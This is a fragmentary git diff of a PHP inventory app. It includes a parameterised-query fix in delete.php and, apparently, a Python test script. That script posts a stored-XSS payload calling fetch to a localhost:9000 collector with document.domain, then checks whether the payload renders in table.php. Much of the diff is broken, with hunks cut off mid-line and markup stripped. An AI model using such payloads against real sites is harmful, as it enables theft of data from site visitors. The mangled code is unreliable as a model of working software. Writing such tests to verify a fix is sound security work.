diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..8b13789 --- /dev/null +++ b/.gitignore @@ -0,0 +1 @@ + diff --git a/additem.php b/additem.php index ccb4053..e047652 100644 --- a/additem.php +++ b/additem.php @@ -1,22 +1,27 @@ alert('Successfully stored');"; } else { diff --git a/config.php b/config.php index 76fa009..b8505ae 100644 --- a/config.php +++ b/config.php @@ -1,7 +1,15 @@ diff --git a/delete.php b/delete.php index a48518c..d793c7a 100644 --- a/delete.php +++ b/delete.php @@ -1,17 +1,24 @@ 0) { + $id = (int)$_GET['id']; + $stmt = mysqli_prepare($db, "DELETE FROM product WHERE product_id = ?"); + mysqli_stmt_bind_param($stmt, "i", $id); + mysqli_stmt_execute($stmt); } +header("Location: table.php"); +exit(); ?> \ No newline at end of file diff --git a/edit.php b/edit.php index 6068b54..9097509 100644 --- a/edit.php +++ b/edit.php @@ -1,4 +1,9 @@ fetch('http://localhost:9000/?c='+document.domain)" +s.post("http://localhost:8080/additem.php", data={ + "product_name": payload, + "price": "1", + "quant": "1", + "add": "submit" +}) + +print("checking if payload is in the page...") +r = s.get("http://localhost:8080/table.php") + +if "